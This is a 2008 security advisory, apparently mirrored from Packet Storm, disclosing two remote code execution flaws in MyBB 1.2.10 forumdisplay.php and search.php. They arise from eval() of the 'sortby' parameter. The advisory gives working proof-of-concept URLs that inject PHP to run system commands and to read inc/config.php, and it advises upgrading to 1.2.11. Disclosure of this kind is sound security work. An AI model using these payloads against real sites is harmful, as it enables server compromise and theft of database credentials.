waraxe-2008-SA-061.txt

2008-01-17T00:00:00
ID PACKETSTORM:62714
Type packetstorm
Reporter Janek Vind aka waraxe
Modified 2008-01-17T00:00:00

Description

                                        
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[waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10  
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Author: Janek Vind "waraxe"  
Independent discovery: koziolek  
Date: 16. January 2008  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-61.html  
  
  
Target software description:  
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MyBB is a discussion board that has been around for a while; it has evolved  
from other bulletin boards into the forum package it is today. Therefore,  
it is a professional and efficient discussion board, developed by an active  
team of developers.  
  
Vulnerabilities discovered  
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1. Remote Code Execution in "forumdisplay.php":  
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Precondition: valid forum "fid" must be known.  
Attacker doesn't need to have any privileges in mybb installation to be  
successful in attack.  
  
Proof-Of-Concept request:  
  
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='  
  
... and we will see error message:  
  
Parse error: syntax error, unexpected ''', expecting ']' in  
C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()'d code on line 1  
  
Problematic piece of code is related to "eval()" function:  
  
eval("\$orderarrow['$sortby'] = \"".  
$templates->get("forumdisplay_orderarrow")."\";");  
  
  
Example attacks:  
  
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2  
&sortby='];phpinfo();exit;//  
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2  
&sortby='];system('ls');exit;//  
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2  
&sortby='];readfile('inc/config.php');exit;//  
  
  
2. Remote Code Execution in "search.php":  
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Precondition: search "sid" must be known - but that's trivial task.  
Attacker doesn't need to have any privileges in mybb installation to be  
successful in attack.  
  
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]  
&sortby='  
  
Parse error: syntax error, unexpected ''', expecting ']' in  
C:\apache_wwwroot\mybb.1.2.10\search.php(141) : eval()'d code on line 1  
  
Problematic is exactly same piece of code, as in previous case:  
  
eval("\$orderarrow['$sortby'] = \"".  
$templates->get("forumdisplay_orderarrow")."\";");  
  
Example attacks:  
  
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]  
&sortby='];phpinfo();exit;//  
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]  
&sortby='];system('ls');exit;//  
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]  
&sortby='];readfile('inc/config.php');exit;//  
  
Both remote code execution security holes are very dangerous and can be  
used by attacker to complete takeover the website and possible total  
compromise of webserver.  
  
How to fix:  
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Download MyBB new version 1.2.11 as soon as possible!  
  
  
Greetings:  
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Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb  
and anyone else who know me!  
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!  
  
Contact:  
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come2waraxe@yahoo.com  
Janek Vind "waraxe"  
  
Homepage: http://www.janekvind.com/  
Waraxe forum: http://www.waraxe.us/forums.html  
  
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